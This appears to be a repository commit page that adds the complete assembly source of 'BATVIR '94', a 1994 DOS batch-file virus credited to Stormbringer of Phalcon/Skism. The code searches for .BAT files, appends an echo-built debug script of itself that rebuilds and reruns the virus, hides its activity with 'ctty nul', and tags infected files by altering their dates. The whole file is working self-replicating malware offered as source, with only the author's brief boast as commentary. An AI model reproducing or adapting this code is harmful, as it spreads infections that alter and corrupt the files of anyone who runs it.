Add files via upload

2026-06-15 15:29:23 +00:00 · 2021-01-12 17:31:39 -06:00
parent 039994e413
commit d3381d8e02
99 changed files with 39953 additions and 0 deletions
@@ -0,0 +1,237 @@
+;             [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
+;
+;   This virus is a bit cheesy, but hell.... Believe it or not, I got bored 
+;enough to write a direct action .BAT infector in assembly.  It infects files 
+;by basically creating a debug script of itself, echoing it out to a file,
+;then running it using debug to infect more files.  I doubt anyone has
+;done this in quite this manner, so....
+;
+;
+;
+;enjoy,
+;Stormbringer [P/S]
+
+
+.model tiny
+.radix 16
+.code
+        org 100
+start:
+        mov     ah,4e
+        mov     dx,offset filemask
+
+FindFile:        
+        int     21
+        jc      NoMoreFiles
+
+        mov     dx,9e
+        mov     ax,3d02
+        int     21
+        jc      DoneInfect
+        xchg    bx,ax
+
+        mov     ax,5700
+        int     21
+        push    cx dx
+
+        cmp     dh,80
+        jae     AlreadyInfected
+
+
+        mov     ax,4202
+        xor     cx,cx
+        xor     dx,dx
+        int     21
+
+        mov     si,100
+        mov     di,offset end_virus
+        mov     cx,end_virus-start
+        push    bx
+        call    Convert2Hex
+        pop     bx
+
+        call    InfectBat
+
+
+        pop     dx
+        add     dh,0c8  ;Add 100 years to filedate
+        push    dx
+
+AlreadyInfected:
+        pop     dx cx
+        mov     ax,5701
+        int     21
+
+        mov     ah,3e
+        int     21
+
+DoneInfect:        
+        mov     ah,4f
+        jmp     FindFile
+
+NoMoreFiles:
+        mov     ax,4c00
+        int     21
+
+
+Convert2Hex:
+        push    cx
+        lodsb
+        mov     bx,ax
+        mov     cx,4
+        shr     al,cl        
+        push    ax
+        call    convert2asc
+        stosb
+        pop     ax
+        shl     al,cl
+        sub     bl,al
+        xchg    al,bl
+        call    convert2asc
+        stosb
+        mov     ax,' '
+        stosb
+        pop     cx
+        loop    Convert2hex
+        stosb
+        stosb
+        ret
+
+convert2asc:
+        cmp     al,0a
+        jae     letter
+        add     al,'0'
+        ret
+letter:
+        add     al,'A'-0a
+        ret
+
+InfectBat:
+        mov     ah,40
+        mov     dx,offset startinf
+        mov     cx,endsinf-startinf     ;Write start of infection
+        int     21
+        mov     dx,offset end_virus
+
+   DataLoop:
+        push    dx        
+        call    calcloc
+        call    writeecho1        
+        pop     dx        
+        push    dx
+
+        mov     cx,di
+        sub     cx,dx
+        cmp     cx,60d
+        jb      WriteData
+        mov     cx,60d
+WriteData:
+        mov     ah,40
+        int     21
+
+        push    ax
+        call    WriteRedirect
+        pop     ax
+
+        pop     dx        
+        add     dx,ax
+        cmp     dx,di
+        jae     WriteGoExitCommands
+        jmp     DataLoop
+
+
+WriteGoExitCommands:
+        call    writeecho2
+
+        mov     ah,40
+        mov     dx,offset govirus
+        mov     cx,1
+        int     21
+
+        call    WriteRedirect
+        call    writeecho2
+
+        mov     ah,40
+        mov     dx,offset govirus+1
+        mov     cx,1
+        int     21
+
+        call    WriteRedirect
+
+        mov     dx,offset batchender
+        mov     cx,endbatend-batchender
+        mov     ah,40
+        int     21
+
+        ret
+        
+WriteRedirect:
+        mov     dx,offset echodest
+        mov     cx,endvirusfile-echodest
+        mov     ah,40                   
+        int     21
+        ret
+
+WriteEcho1:
+        mov     cx,enddb-databyte
+        jmp     short WriteEcho
+WriteEcho2:
+        mov     cx,5
+WriteEcho:
+        mov     dx,offset databyte
+        mov     ah,40
+        int     21
+        ret
+
+
+calcloc:
+        push    ax bx cx dx si di
+        sub     dx,offset end_virus
+        mov     ax,dx
+        mov     cx,3
+        xor     dx,dx
+        div     cx
+        mov     dx,ax
+        add     dx,100
+        mov     di,offset temp
+        mov     si,offset location
+        xchg    dh,dl
+        mov     location,dx
+        mov     cx,2
+        call    Convert2Hex
+        mov     di,offset buffer1
+        mov     si,offset temp
+        movsw
+        lodsb
+        movsw
+        pop     di si dx cx bx ax
+        ret
+
+
+Filemask        db      '*.bat',0
+
+govirus         db      'gq'
+endgovirus:
+
+databyte        db      'echo e'
+buffer1         db      '0100 '
+enddb:
+
+echodest        db      ' >>'
+VirusFile       db      'batvir.94',0dh,0a
+EndVirusFile:
+
+Batchender      db      'debug<batvir.94',0dh,0a ,'del batvir.94',0dh,0a
+                db      'ctty con',0dh,0a
+endbatend:
+
+startinf:        
+        db      0dh,0a,'@echo off',0dh,0a
+        db      'ctty nul',0dh,0a
+Credits db      'rem [BATVIR] ''94 (c) Stormbringer [P/S]',0dh,0a
+endsinf:
+location        dw      0
+temp            dw      0,0,0,0
+
+end_virus:
+end start